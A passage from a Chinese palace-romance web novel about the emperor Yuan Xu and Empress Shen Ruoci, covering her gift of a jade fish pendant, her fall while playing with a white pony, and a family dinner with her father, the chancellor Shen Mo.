留下元栩一人水雾氤氲的浴殿内紧紧蹙起眉头。 夜里元栩抱着她,不轻不重地捏着她的,沈若辞耳尖红红的,呼吸稍乱,她及时按住元栩想要进一步深入的手,生怕他再玩下去就要擦枪走火了。 前两夜在温泉行宫里,经过他毫无节制的索取后,那池被搅浑的温泉水,是何等的忍不忍赌。她都不敢想象第二天进去打扫的宫女,会是什么表情,会怎么想她这个皇后。 皇帝他就不累吗? 连亦心说元栩因欲求不满流鼻血的事,她怀疑没准并不是什么欲求不满造成的,而是纵欲过度的后果,她握着元栩的手腕,有意去按他的脉象,却被他躲开了。 沈若辞站在一个医者的角度劝诫他,“皇上不该节制一点吗?” 几位妃子都进宫快三年了,像他这般行房-事的频率,后宫仍一无所出,他究竟有没有找太医看一下身体? 元栩并不知道沈若辞脑子里这些思虑与疑问,他只知道沈若辞明面上是让他节制,其实真实意图是不想与他行事,找借口推开他罢了。 他冷笑道,“朕还未见到过有人愿意把恩宠往外推的,皇后果真是温良贤淑,大度得很啊!” 沈若辞哪里听不出他话中嘲讽的意味,握着他手腕的手指缓缓松开,见他不动也不说话,明显是恼了,复又朝他手腕按上去,一点一点地将他的手朝自己身上带。 元栩抵触了片刻,终是抵不住她身子的诱惑,动作轻柔地揉搓着,而后他贴着她的耳后,问得很是随意,“这里是不是又饱满了?” “才没有!” 沈若辞下意识就是反驳。反驳完她想起两个月前新做的小衣,如今穿上已勒得慌,今天连嬷嬷刚说要叫尚衣局的人重新做一批了。 “没有吗?”元栩又用手反复丈量,逼得沈若辞只好承认。 他闷闷地笑起来,沈若辞以为他又要来取笑自己,哪知他只是用手揉了揉她的肚子,“肉越长越多了,肚子也有。” 她的肚子确实长了点肉,可能是最近阿秋回来了,她心情也变好了,整天跟着吃吃喝喝,不小心就吃胖了。沈若辞想起今天阿茉说她怀孕的事,不由得有些忧心,“确实长肉了,今天阿茉看了臣妾的肚子,还以为是怀孕了。” 元栩拿手绕着她垂在胸口的一缕头发玩,玩了好一会儿才开口,“若是能怀上,朕也算是天赋异禀。” 沈若辞惊得瞬间坐起来,她一手按着自己的肚子,一手撑着床板,长睫微微颤动,“皇上这话是什么意思?” 第62章 在她坐起来的时候, 发丝就从元栩指尖溜走,他捏了捏空荡荡的手指,指尖轻轻一弹, “听不懂,就算了, 不必知道。” 他这样子回答,沈若辞心里更没底了, 她按着肚子的手仿佛被抽干了力气,一脸懊恼地呆坐着, 半晌之后喃喃道,“不会真的怀孕了吧?” “沿沿是想怀上谁的孩子?”元栩冷笑一声, 从床上起身, 眼神不善地盯着她, “你进宫以来, 朕一直做好避孕措施,从未间断。如今沿沿说怀孕了, 究竟怀的是谁的孩子?” 明明对方一副要来问罪的架势, 眼神里满满都是探究的意味,沈若辞却在心里暗暗松了一口气,她就怕元栩不小心停了她的避子药,如今亲耳听他说有做好措施, 从未间断,也就放心了。 心头的担忧散去,沈若辞心情也好起来, 她在床上翻了个身,准确无误地投到他怀里,方才丈量她身子的时候, 小衣就已经不知所踪了,此时饱满的绵软隔着一层里衣贴着他的胸膛,沈若辞双手攀着他的脖子,温言软语又带着点俏皮,“皇上不要诬陷臣妾了,臣妾只是身子还不好,这个时候并不适合有孩子。” “是吗?”元栩一只手掌不轻不重的按着她的腰,“朕也是这么想,不想沿沿那么快有孩子。” 沈若辞换了个舒适的姿势躺在他怀中,就知道元栩这人心眼子多,不想让皇长子从她的肚子里出来,却要逼她自己说出来,也幸好、幸好如此,她的孩子不该来得如此草率。 翌日,原本在温泉行宫陪九皇叔养病的程于秋突然来访。 沈若辞从榻上下来,径直奔向门口,倚着门就见程于秋长腿利落地跨过门槛,手里牵着一匹毛色纯白的小马驹。程于秋人已在院中,小马驹看起来还不怎么懂得听从人的指令,倔强地站在门口不肯进来。 沈若辞提着裙摆小跑到程于秋跟前,雀跃地盯着小白马看了一阵,才转头看向程于秋,“阿秋,这小马长得真漂亮。” 程于秋拽了一下缰绳,无奈看着死活不肯抬腿的小白马,“漂亮是漂亮,就是脑壳子不大聪明。” 话音刚落,小马便腾地一下举起马蹄,一脚越过门槛,紧接着后边三条腿也依次迈进来。 沈若辞尝试着摸了摸小白马的背,见它没有排斥,笑着为辩白,“看来不是不聪明,只是比较有性格。” 程于秋把缰绳送到沈若辞跟前,示意她接住,“呐,答应送你的礼物,好好接着。” “给我的?”沈若辞指了指自己,见程于秋点头,她眼睛里登时泛起如春水般的光芒,而后喜出望外地接过缰绳,“阿秋,这礼物太好了,你怎么知道我一直想要一匹漂亮的小马,然后亲手把它养大。” 这么毛色纯正的马本来就少见,更何况还是通身上下不见一丝杂色的小白马。 程于秋就喜欢看沈若辞用带着崇拜的眼神看他,听她毫无保留地夸她,“那是,这可是本将军千里迢迢从南疆运回来的,多少年才能遇到这么一匹。” 沈若辞爱不释手地对着小白马摸了又摸,又小心翼翼地牵着小白马在花园里走了一圈,走到一处围墙下,她回头喊道,“阿秋,我要让人在这里建一个马棚,以后我每天起床就可以出来看它。” 在花园里搭个马棚? 程于秋觉得自己这个粗人都不大能接受,她挠挠头,“还是问问你家那位先。” 牵着小白马在花园里走了几圈,走到身子都出汗了,沈若辞才将小白马交给宫人拴在墙头下吃草,然后自己和程于秋一起回到屋里。 锦云端上水盆来,沈若辞洗完手用干净的布巾擦干,扭头问程于秋,“阿秋,你不是在温泉行宫里陪九皇叔吗,怎么有空过来给我送小白马?” 说起温泉行宫的事,程于秋脑壳就开始嗡嗡作响,甚至发疼,她无语道,“沈沿沿,我摊上事了。那容王殿下不知哪根筋搭错了,非要我给他个什么说法。” 沈若辞觉得元琛为人洒脱,不拘小节,不像是那种能为一点小事斤斤计较的人,会不会是程于秋喝醉酒的时候,真的对他做了什么过分的事情,让他无法释怀? 沈若辞接过锦云送来的蜜茶,还没喝上一口,又搁回桌面,关切地问道,“阿秋,你好好想想,你是不是趁喝醉酒的时候,对容王殿下做了什么不该做的事情?” 程于秋白了沈若辞一眼,“怎么可能,我酒品很好的,喝醉酒从不耍酒疯。” 排除了这个原因后,沈若辞继续一本正经的帮她分析,“那会不会是你之前就跟他有矛盾或是看不惯他的为人,但碍于他的身份又拿他无可奈何,只能趁喝醉酒的时候对他发泄一下自己的情绪?” 人喝醉的时候,大概率会流露出自己最真实的情绪。 程于秋道,“那更不可能,我跟他往日无仇,近日无冤,更谈不上看不惯他。想当初南疆战场兵马粮草紧缺,容王殿下连着几日不眠不休,调集粮草前去支援,这事我还记着人家的功劳,怎会恩将仇报呢。” 她一向觉得元琛性子随和不羁,待人也讲义气,没想到到了她这里就格外难缠。不就是喝醉了不小心躺一张床上去了,就算真的发生了什么,双方都不记得了,酒醒了忽略不计就好了。如今他把事情挑出来,二人见面就突然尴尬起来。 沈若辞觉得容王殿下不愧是跟元栩一家人,都是一样难缠,“那他究竟想要你付出什么?” 程于秋一股脑将烦恼都吐出来,“沈沿沿,这就是我烦恼的地方,他对那夜的事三缄其口,任我怎么苦口婆心询问,都不肯透漏半个字。我烦了不理他了,他又搬出义父来压我。我怕他真的去找义父告状,只能与他周旋。” 沈若辞听完开始沉默起来,她脑中有个答案呼之欲出,然而她并不敢相信。 她抬头看看程于秋,嘴里喊着好烦恼、好烦人,实际上心大得很,她吃一块好看的糕点,猛灌一口酸梅汁,转头又尝起沈若辞的蜜茶,发现被沈若辞抓了个现行,她大大方方地笑道,“还是跟你在一起好,自由自在。” 沈若辞伸手去拉程于秋的手,将她的手握在掌心里,“阿秋,你说容王殿下是不是喜欢你啊?” 程于秋喝了一口的茶水喷了出来,所幸沈若辞夺得快,并没有遭殃,但多多少少还是有水珠落在手上、衣裳上。 “对不起啊沈沿沿。”程于秋连忙用衣袖去给沈若辞拭去茶水。擦完后,她一拍桌子站起来,“找死!我这就去行宫里当面问问他!”话说就头也不回地出了雪辉宫。 沈若辞“……”想叫她的时候已经叫不回来,沈若辞无奈叹气,算了,她自己会处理好的。 接下来几天沈若辞天天陪着小白马在花园里散步玩耍,起初还是牵着缰绳,小心翼翼地走在花园里,越往后边,她胆子就越大,开始牵着小白马跑起来。 一人一马在花园里跑跑跳跳,你追我赶,玩得不亦乐乎。 元栩夜里来的时候,从连嬷嬷口中得知此事,把她说了一顿,不准她天天往花园里跑个不停。沈若辞嘴上答应了,白天仍跟小白马玩成一堆。 她想只要收买了连嬷嬷,她白天玩她的,夜里元栩来的时候也不会发现。 可没过几天,她就因为跑得太快被小马的缰绳绊倒,扑通一下重重地摔在粗糙的地面上。 沈若辞双手撑地想要爬起来,却发现手掌火辣辣地疼,根本使不了力,阿茉将她扶起来,她趁机看了一眼掌心,鲜血淋漓。 阿茉陪着一起玩的,当场吓得叫出声来,叫喊声引来了连嬷嬷、锦云等人,众人手忙脚乱地将沈若辞扶起来。 站起来后,才发现膝盖也受伤了,血珠已渗透下裳,裙子的下摆一片鲜红。 见众人都面露惧色,沈若辞勉强挤出一丝笑容,“没事的,我还能走路,到屋里擦点药就好了。” 沈若辞到屋里清洗了伤口,阿茉从刚才就一直忧心忡忡,她知道皇帝本来就不同意她们家小姐一直跟小马玩个不停的,今日又因此事受伤了,到时候怪罪下来,别说她们这些做下人的,恐怕连小姐也要受责罚。 趁连嬷嬷、锦云走开的空档,阿茉低声劝道,“小姐,我们以后还是小心一点好。您可能还不知道,近来宫中暗地里都在传,静妃娘娘就是因为在龙泽宫伺候的时候不尽心,当场被打断了双手,送入冷宫后还被喂了毒酒,把人给毒哑了。" 这事沈若辞从薛太后那里听说过了。如今她是皇帝用来牵制父亲的棋子,留她在身边,不过是因为她还有利用价值。哪天皇帝对父亲起了坏心思,她便不再是可以保障父亲性命的棋子,而是埋在父亲身上的毒药,随时有可能要了他的性命。 之前她一心想要救父亲脱离牢狱之灾,并未做长久之计,而今此一时彼一时,她也该为今后道路打算,总不能一辈子留宫中做一颗棋子吧。 作者有话说:今天有点晚了,好在赶完了,晚安! 第63章 说话间, 阿茉已经给沈若辞上好药,然后用扇子轻轻地扇着伤处,等到药干了, 就将裙摆拉下来。她收起药瓶,去开地殿门。 手上虽然流了血, 但只是擦伤皮肤,只要不碰水, 不要用力,基本不会疼。膝盖上的伤就比较严重, 沈若辞不敢有大动作,怕牵扯到伤处, 只好安静地坐着看看书。 午后, 沈若辞看了半天的书, 人也倦了。她索性将书册扔在软榻上, 倚在窗口看小白马吃草。 沈若辞心想皇帝本来就不同意她玩小白马了,现在她又因为此事受伤, 怕是日后更没机会可以亲手养大它了。 这样下去, 小白马就跟她不亲了。她朝小白马的方向叹了一口气,心情低落得很。 “娘娘。”屋中想起锦云的声音,沈若辞从小白马身上收回视线,回头望向屋中, 锦云捧着托盘,恭恭敬敬地送到沈若辞跟前,“您要的玉饰内务府做好了, 刚刚给您送过来。” “总算做好了。”沈若辞双眸一亮,她的小鱼玉佩已经被元栩拿走了好些日子,若是丢了或者是坏了, 那可就麻烦了,如今她亲手画的玉佩终于做好了,要赶紧从元栩哪里换回来才好。 沈若辞将玉佩拿在手上看了看,心想不愧是出自宫廷名匠手笔,这小鱼做得栩栩如生,比她那个还要逼真。 欣赏了一会之后,她将玉佩递给锦云,“锦云姐姐,拿去打个络子,把玉佩穿起来,就照着我之前那个打。” 锦云正要伸手过来接,沈若辞却突然收回手,“算了,还是我自己来吧,你帮我准备一下丝线剪子。” 狼崽子有时候也需要顺顺毛,既然他喜欢她的鱼佩,她就投其所好,给他做一个一模一样的,要连系玉佩的络子都跟她一个样式的。 到时候趁他开心,受伤的事也好糊弄过去。 沈若辞熟练地打起络子,不出两刻钟,她便将络子做出来了。拿在手上一看,简直跟她的像是同一个模子里印出来的。她满意地摆弄着玉佩,已经能想象元栩看到这个属于他的鱼佩时,表情有多开心了。 锦云觉得帝后越来越有夫妻的样子,一个郎有情,一个妾有意,当真是令人羡慕。 二人彼此不知道对方心里真实的想法,高高兴兴地等着皇帝的到来。 夜里元栩用过晚膳才过来的,他来的晚,沈若辞等他的时候,靠在软榻上不小心就睡着了。 元栩并没有惊动她,只是一个人先去更衣沐浴。出来的时候,沈若辞仍睡在软榻上,一只手摊开掌心放在软榻上,另一只手握着那枚要送他的玉佩,掩在宽大的袖摆里。 元栩径直走到软榻边坐下来,他垂头看了一眼她摊开的掌心,双眉微微拢起。 而后又伸手一点一点地卷起她的裤腿,卷至膝盖处,伤口一览无余,几道撕裂的口子参差不齐,皮肉模糊,鲜红色跟她白皙的皮肤形成强烈的视觉冲击。 这明显会很疼。 元栩目光飘向窗外,此时那匹罪魁祸首的小白马正悠闲自在地踱步,全然不知道屋内有人目光冰冷地盯着它,甚至对它起了杀心。 窗口一阵凉风袭来,元栩回过神,正准备放下她的裤腿,沈若辞在这个时候慢慢醒来。 她睁开眼睛的时候,就看见元栩那张好看的脸,因为藏着话要与他说,她腾地一下从榻上坐起来了,忽略了他藏在眼神里的杀意。 她发现元栩已经沐浴过,换上一身纯白的寝衣,嗔怒道,“皇上,您什么时候来的,怎么也不先跟我说一声?” 也不等他回答,她便亮出她握在手心里的鱼佩,双眸亮晶晶地望着他,“皇上您看这是什么?” 元栩眼中的冰冷与肃杀已褪去,映着烛光的柔和,“皇后什么时候拿了朕的鱼佩,是不是哄连嬷嬷帮你偷的?” 方才他脱下衣物之前便解下鱼佩,连嬷嬷已经收好跟明日要穿的衣物搁在一处,此时他从浴殿中出来。玉佩又在她手中,只能是趁他沐浴的时候偷偷拿来的。 沈若辞不屑地撇撇嘴,“您好好看看,谁拿你的了!”她拉起元栩的手,一把将玉佩拍在他的掌心,“睁大您圣明的眼睛看清楚了。” 玉佩被她的掌心握得温热,元栩接过来的瞬间就发现大小其实不一样,他盯着玉佩问她,“这是谁的?怎么跟皇后给朕那块一模一样的形状。” 连玉佩的络子都是一样的。 沈若辞伸手到他掌心把玩着鱼佩,解释道,“臣妾画了图纸,从嫁妆里挑了一块玉石,让宫中的玉匠帮忙雕刻出来。皇上您看看喜欢不?” 沈若辞将脑袋靠在他的肩膀上,抬头观察他的神色,元栩沉默了一瞬,面无表情地任她手指轻轻地摩挲着玉佩,而后像是突然恍过神来,一把握住玉佩,连带她的手被一并握起来,往自己胸口处带。 他垂下头,声音带着几分微不可察的颤抖,“沿沿的意思是,这是你送朕的礼物?” “是啊。从今以后,皇上也有自己的小鱼玉佩,不用借臣妾的戴了。”她伸手往他腰间摸过去,才记起来他已换下外裳。 “朕去拿。”元栩意识到她在找什么,一把按住她的手,起身往床榻的方向走过去,不一会儿又折返回来,手里拿的正是她的小鱼玉佩。 沈若辞跪起来从他手中接过玉佩,将两个玉佩整整齐齐地摆在一起,“皇上您看,是不是出去大小不一样,其他都一模一样?” “皇上是男人,高大一点,就佩戴这块大的,沿沿比皇上低一点,就戴这块小的,我们一人一块。”后边还有一句话:谁都有自己的玉佩,不用拿别人的。这是这句还没说出口,她就被元栩热情地拥入怀里,而后一遍又一遍得轻啄着她的脸,从眉毛到下巴,毫无章法,却一处也不放过。 沈若辞被他这种罕见的温柔吻法亲的痒痒的,忍不住抿唇笑起来。她果真没有猜错,皇帝就是很喜欢这块小鱼玉佩。 她趁机自首,“臣妾没有听您的话,又跑去跟小白马玩,还摔倒受伤了。臣妾知错了,皇上能不能让臣妾继续留着小白马?” 元栩的吻淡下来,最后也没有继续亲她了,眼睛一瞬不瞬地盯着她看。 这眼神让沈若辞顿感不妙,她举起两块玉佩在他眼前晃悠,“皇上,这玉佩臣妾可是花了很多心思的,皇上真的不喜欢吗?” 见他眼神略有松动,她继续说道,“这玉佩早在半个月前就开始动手画图了,小白马来之前臣妾就想好给您做的。” 言下之意就是,并非为了求您办事才特意去做这个东西,她可是很早之前就开始准备了,与此事无关。 元栩就算是再铁石心肠,也要被她楚楚可怜的眼神,被她的温言软语泡软了。 他伸手揽过她的腰,“留着就留着,但日后不准一直出去玩。” 他可是有条件的,不是她说什么都能应承的。 见沈若辞点头如捣蒜,认错态度还算良好,他也不再揪着小马的事不放了,总归给她点乐子消遣,不然他不在的时候,她得多无聊啊。 元栩从沈若辞手中拿过属于他的玉佩,翻来覆去、来来回回地欣赏,一遍又一遍,与此同时,他心头始终萦绕着一句话,这是沈若辞主动送给他的礼物,而且是头一回。 就这样,沈若辞靠一块玉佩拿回自己的小鱼玉佩,又顺利留下小白马,可谓是一箭双雕。 隔天傍晚时分,雪辉宫里的每一掌宫灯都被点明,殿中四处灯火通明,连角落里都是明亮的。 沈若辞换上见客的衣裳出来,阿茉正忙着摆放碗筷,一抬头眼睛都亮了,“娘娘,您今天好漂亮!” 她穿一身新做的锦缎红衣,梳着精致漂亮的凌云髻,脸上画着淡淡的妆,灯光晕染下简直明艳无双。 “娘娘简直跟天上的仙女一样,美得闪闪发光。”锦云眼睛里都在冒星星,今日皇后娘娘的妆造均出自她一双巧手,她的眼睛从始至终都没从皇后娘娘身上移开过,满意又自豪。 沈若辞被夸得心里美滋滋的,她看着殿中忙碌的众人问道,“今晚到底是要宴请何人?” 连嬷嬷端着果盘进屋来,“皇上没有细说,只说是娘娘的亲眷。” 亲眷?如今父亲尚在虞城,沈家其他人是想奉承皇帝打好关系,奈何皇帝不给面子。今日这般阵势,到底宴请的是她的哪位亲眷? 那头龙泽宫里,皇帝正与臣子讨论政务。与他相对而坐,正是大魏的丞相——沈墨。 阔别数月,沈墨终于在今晨回到了盛京,此时君臣二人正在谈论虞城的事情。 沈墨道,“如今贪墨的钱财流入虞城,赫王又有招兵买马的嫌疑。皇上恐怕要多加提防,赫王怕是有不忠之心。” 薛太后这些年跟皇帝保持着表面上的和谐,暗地里对他恨之入骨。如今薛家人手里握有兵权,若是他们真的要帮赫王上位,要大魏易主,届时朝廷会有一场恶战要打,后果不容小觑。 薛太后有野心,也要薛家人愿意帮她才能成事。元栩不确认薛展松的用心,还需进一步试探,“十日后便是薛老将军六十大寿,到时候将军府会举办一场寿宴,朕亲自带贺礼过去给薛老将军贺寿,借此机会打探一下他的口风。” 沈墨点头道,“甚好。” 薛太后的狼子野心他早就知晓,也非全无准备,这些年他早已不是那个事事要被薛太后牵着鼻子走的小孩,“这次多亏沈相以身涉险,朕不会给任何人有机可乘。” 就算是他的亲弟弟,他也不会掉以轻心。 如今,元栩已经成长为一个合格的帝王。 沈墨无言,良久才道,“皇上言重,此番不过是臣的分内之事。” 元栩早知沈墨对大魏的忠心,但大魏的皇位不是只有他一个人能坐,就算他如今已是自己的岳丈,他也不能完全确定对方会帮自己,“若元赫真的有谋反之心,沈相是站在朕这一边的,对吗?” 作者有话说: 慈夫多败妻,噗…… 下章又到了三人对峙欢乐多的时刻了,敬请期待。 第64章 沈墨当然不会承认, 曾经小皇帝一度刚愎自用,在他肆意妄为,一意孤行之时, 他不是没想过联合其他朝臣,给大魏换一位更适合天下子民的皇帝。 只是这些年元栩的政绩有目共睹, 虽然脾气没长进,但治国的能力却与日俱增, 不可谓不是一位好皇帝。 沈墨没有正面回答他的问题,他只道, “臣如今年纪大了,膝下又只有沿沿这么一个女儿, 只要她能过得好, 臣就心满意足了。” 答案昭然若揭, 已无需多言。 这是最好的答案, 不是吗? 元栩轻声道,“沈相是位好父亲。” 沈墨跟皇帝谈完公事, 便朝他行了一礼, “皇上,臣想去一趟雪辉宫,看看沿沿。” 元栩放下手中的折子,边起身边说道, “朕陪爹一起去。” 从虞城回来后的,皇帝一直称呼他为沈相,此时换了称谓, 沈墨不由得皱了皱眉头。要是没有小皇帝这声“爹”,沈墨真不记得自己是他的岳丈。他下意识想说不必了,但转念一想, 女儿在宫中还要仰仗他生活,便将拒绝的话尽数吞回肚里。 一路上沈墨绷着脸,从踏出龙泽殿开始,他就与元栩保持着距离。君臣二人除了朝廷上的事,向来没有别的话可说。就算如今他阴差阳错成为皇帝的岳丈,沈墨也从没想过与他发展深厚的翁婿情谊。 沈墨故意与他皇帝保持三步之遥的距离,跟在他身后默默地走着, 今日小皇帝举止异常怪异,见他落后几步,偏停下来等他,欲与他并排同行。沈墨没辙,心中牵挂女儿,只好顺了他意,与他肩并肩同行。 没走出几步,元栩毫无预兆地伸手指了指自己腰间的玉佩,语气不甚在意地问道,“沈相,您看朕的玉佩好看吗” 沈墨漫不经心地往他腰间一瞥,起初误以为是沈若辞的小鱼玉佩,但定睛细看之下,才发现根本不是,只是形状是一样的,但是玉石用料、小鱼个头还是有差别的。 沈墨觉得以自己跟皇帝的关系,还没有好到可以一起讨论一块玉佩的程度,他轻描淡写道,“尚可。” “就只是尚可吗?”元栩干脆停下步子,一只手提起玉佩的络子,就为了让沈墨看得更清楚, 沈墨见他拼命地展示玉佩,只差当场摘下来,怼到他眼前去。他不由得微微蹙眉,心道这狼崽子又在发什么疯,难不成是沿沿出了什么事,他有意拖延,就为了阻止他过去雪辉宫? 想到此处,沈墨不由得心忧起来。他盯着元栩的玉佩,刚想发怒,就见他用手指摩挲着玉上的图案,愉悦地讲述道,“这图案可是沿沿亲手绘制的,原料用的是沿沿陪嫁来的玉石。她苦心构图,用心挑选玉石,为的就是给朕做一块跟她相配的鱼佩。如此,我跟沿沿夫妻二人就拥有一样的信物。” 沈墨“……” 他搞这么多事,就单纯为了炫耀他的玉佩? 分离多时,沈墨想念女儿,本不欲与他多说废话,但这话怎么听着让人觉得别扭呢。 沈墨还在努力忽略心中那点不舒服的情绪,元栩又再度开口,“沿沿没有给沈相送过玉佩吗?” 沈墨“……” 接下来的路程上,沈墨半个字也不想与元栩多说。 等到了雪辉宫,还没见到沈若辞,沈墨的神色已经柔和下来,嘴角更是浮现若有若无的笑意。 “娘娘,您看谁来了。”岳常安笑盈盈地指了指门外。 沈若辞一眼就看到分别数月的父亲正迈过门槛朝殿内走来,她又惊又喜,已顾不上自己繁复碍事的裙裳,抬脚就朝父亲跑过去,忘了自己腿上还有伤。 “阿爹!”沈若辞小跑到沈墨跟前,快速打量了父亲一番,见他脸色红润,行动如常,这些天来悬着的心终于在此刻落地了。她亲昵地挽着父亲的手走进殿内,嘴里还问个不停,“阿爹您什么时候回来的,怎么都没跟沿沿说一声呢。” 没等沈墨回答,她又问道,“您还没吃饭吧,肚子饿不饿啊?” 父女二人开开心心、旁若无人地说着话,将一同前来的元栩忽略得干干净净。 “咳……”直到某人重重地咳了一声,沈若辞才注意到皇帝还站在门口,眼神中都是被忽略的不满。 沈墨刚想开口,就听女儿对他说道,“阿爹您先等一下。”而后折返回门口,伸手就拉住小皇帝的手,笑吟吟道,“皇上,您也来啦,快进来。” 往日那个桀骜不驯的小皇帝,尽管此时仍是一脸的不情不愿,偏就这么听话地被他的宝贝女儿领进屋里来,沈墨心中泛起奇奇怪怪的滋味。 晚膳已经准备好了,元栩开口道,“先用膳吧。” “好。”沈若辞扶着沈墨坐下来后,就发现元栩也已经坐好了,只不过坐的还是她的位置,她不假思索地走到主座上坐下来。 沈墨看着坐在主座的女儿,次座的皇帝,心想他虽不拘着沈若辞,但总归不会连这点礼仪也不懂啊。 沈若辞见父亲没有动筷子,提醒道,“阿爹,您吃菜。” 难得能跟女儿一同用膳,沈墨也不纠结,提起筷子就开始吃饭。 父女二人久别重逢,加之沈相还是头一回在她的宫殿里用膳,沈若辞殷勤地帮父亲夹菜,自己吃得极少。 沈墨忍不住出言提醒,“沿沿也吃,不用管阿爹。” 三人本来相安无事地一起吃饭,看起来竟也其乐融融。可令沈若辞万万没想到的是,饭吃到一半,元栩不知哪根筋搭错了,就开始抖她的事,“爹放心,朕日日盯着沿沿,要她好好吃饭,好好睡觉,养好身子。就是沿沿有时候也不听话,比如近来天天跟一匹小白马玩得忘乎所以,朕如何反对也不管用。” 沈若辞哪成想他要这件事拿出来说,要是早知道就要先捂住他的嘴。 幸好父亲也不怕皇帝,不用凡事都无原则地附和迁就他,“皇上未免管得太宽了,沿沿就是跟一匹小马玩一下,这点小事也要干涉阻碍?” 元栩端出告状的架子,“爹有所不知,沿沿最近不管外头是刮风下雨,还是烈日当头,每天都雷打不动要跟小白马玩上几回,累就算了,昨日刚因为牵着马跑摔倒了,现在手上腿上都是伤。” 沈若辞没料到元栩堂堂一个皇帝,会跟父亲告她的状。告状就算了,还要告得如此详尽,也不知道安的是什么心。 一听女儿受伤,沈墨立马关切道,“伤在哪里,阿爹看看。” 沈若辞只好听话的伸出两只手,沈墨见她手心有不同程度的擦伤,显然是伤到皮肉出血了。 女儿从小是他一人带大的,捧在手心里,但凡磕着碰着,他都要自责愧疚很长一段时间。如今沈若辞虽已成婚,但在沈墨心中仍是那个未曾长大的小女孩,看着一手深深浅浅的伤痕,沈墨心疼极了,勒令道,“日后不准玩那劳什子小白马了!” 元栩在一旁不住地点头,“阿爹说得对。” 沈若辞“……” 她没想到这君臣二人互看对方不顺眼,在朝堂上斗了十几年,有朝一日竟因为反对她玩小马一事站到了同一战线。 此时两双眼睛都盯着她,沈若辞倍感压力。碍于两人都不是好糊弄,她只好先退一步。 “知道了,沿沿以后不跑就是了。牵着走一走,玩一玩,总可以吧?” 沈墨经历过女儿卧病在床那两年,亲眼看着她一点一点消瘦下去,如何也不肯松口,“那也不行,你这身子骨才刚有起色,哪能不收敛一点,天天顶着大日头,顶着大风大雨,就为了出去玩一匹马?” 元栩点头赞同,“爹说得是。” 哪有人这样添油加火的,就算沈若辞再好脾气,也没忍住拿眼神瞪他。 元栩指着她瞪得滚圆的一双杏眼,“爹,你看沿沿。” 沈墨自然一眼就看出女儿的小性子,心长语重道,“不要不服气,听话保重身体才是,等日后身子养好了,再玩也不迟。” 有元栩在一旁拱火,沈若辞知道这件事是过不去了,只好先认怂,“沿沿知道了。” 元栩又乘胜追击,事无巨细,一一列举,“爹放心,朕日日盯着沿沿,按时用膳,天凉加衣,太医三日一期来宫中为沿沿请脉,如期用药,从未有过疏漏。” 沈墨下意识觉得他在夸大邀功,但目光落在女儿日渐丰盈的脸颊,神采奕奕的双眸,心中不免生出欣慰之感,方才对元栩的那点子偏见也荡然无存,他朝元栩拱手行了一礼,“臣多谢皇上。” 与此时吃别的沈若辞相比,得到夸赞的元栩心情大好,“爹不必客气,这些都是朕应该做的。”他伸手过去,堂而皇之地在饭桌上握起沈若辞的手,“十日后朕去将军府给薛老将军贺寿,准备带沿沿一同前往,爹要一起去吗?” 沈墨略一思忖,回道,“臣刚回盛京,手头仍有许多公务等臣去处理,届时送一份贺礼过去,人就不过去了。” 元栩颔首。 饭后沈若辞坚持把沈相送到了宫门口,目送他上了马车,才依依不舍地返回。 如今父亲安全从虞城回到盛京,沈若辞心中再无牵挂,走起路来步子轻盈欢快。 元栩站在她身后不远处,走过来拉住她的手,“陪朕走一会,消消食。” “如今沈相平安归朝,沿沿也该相信朕没有骗你了吧。” 沈若辞知道他是来邀功的,与他十指交握,“阿爹的事,臣妾多谢皇上。” 手指交缠的瞬间,沈若辞能感觉到对方愣了一下,才回握住她的手,她明明已经尽力示好,元栩却得寸进尺,“既然要感谢朕,何不亲朕一下?” 作者有话说:下章走文案 第65章 沈若辞就知道这狼崽子嘴里说不出好话来, 她明明真心感谢他,他却非要看她难堪。 沈若辞惊讶道,“这可是在外边!”她知道这事绝不能纵着他, 否则下次就不只是要她亲一下这么简单了,于是她小声拒绝, “臣妾不要。” 元栩不满道,“沈若辞, 你从前可不是这么对朕的。从前就是一次普通的见面,你都要穿最漂亮的裙子, 画最精致的妆容,然后开开心心来见朕。” 沈若辞听他越说越离谱, 微微瞪大了瞳孔, 却不敢反驳他, 只是在心里默默想, 果真是没皮没脸的狼崽子,她何时何地做过这些事? 就算心里跟明镜似的, 知道此人就是在胡说八道, 但迫于他的淫威,沈若辞还是明知故问道,“皇上说的那个人,真的是臣妾吗?” 月光映着她澄澈的眸子, 宛若春日里晶莹剔透的晨露,漾着动人的光,元栩不由得停下步子来。 沈若辞以为皇帝顶多就嘴硬, 故意把他跟别人的事说成是她的,哪知他根本不按常理出牌,厚颜无耻地大放厥词, “不记得怎么爱上朕了?” “……” 清风拂过,清晨的露珠随风漾起波痕,沈若辞眨了眨眼,心中有多少震惊,脸上就有多少茫然无措,她很想痛斥元栩究竟在胡说八道什么,但是一想起因伺候元栩不尽心,就被打断双手,灌了毒药的静妃,她生生将这些话咽了下去,更加茫然地轻摇了摇头。 元栩看着她娇媚可人的脸庞,每每夜里被他欺负狠了的时候,也是用这种眼神望着他,楚楚可怜,欲说还休。这种关头只要对上她的眼神,往往头皮都是一紧,紧接着某些情绪就更是不受控制袭击他。 元栩的心软成一滩水,将人按进了怀里,大方道,“乖,念你从前爱极了朕,恕你无罪。” 沈若辞趴在他的怀里,心道好险,差点就要控制不住表情,她伸手回抱住皇帝,生怕他再次“问话”。 月光下二人紧紧地相拥,连嬷嬷站在殿门口远远地望着,想起方才家宴上皇上与沈相和睦相处的一幕,不禁露出欣慰的笑容,想必皇上的母后在天上看到,会更开心。 那日从温泉行宫回来后,连亦心就依照连骁的吩咐,开始绘制那民间女子的画像,连画了两日,修修改改,终于把画像完成了。 可等到她将画像送到舅舅手里,他却不肯向自己透露想法,只是警告她不准轻举妄动,回去等消息就是了。 连亦心不确定要等到何时,两年前她已经在等了。当时她苦心谋划,等那民间女子消失了,以为自己机会来了的时候,等来的却是元栩挂帅出征,奔赴战场的消息,这一等便是两年。 两年后元栩回来了,她以为自己机会又来了,却万万没想到凭空冒出个沈若辞来横插一脚,硬生生夺了本该属于她的后位。想到此,连亦心便气得牙狠狠,她不能再等了,靠别人不如靠自己,既然别人靠不住,不如自己想法子更好。 要想什么办法呢,这回没有舅舅愿意帮她,她还能找谁帮忙处理掉沈若辞呢? 连亦心坐在望心阁二楼的雅间里,手里漫不经心地握着茶杯,思索着这些困扰得夜不能寐,日不能安的烦心事。 楼下一阵嘈杂声将她拉回现实,连亦心垂眸往外瞥了一眼,就见 连亦心叫来小二问道,“什么事这么吵?” 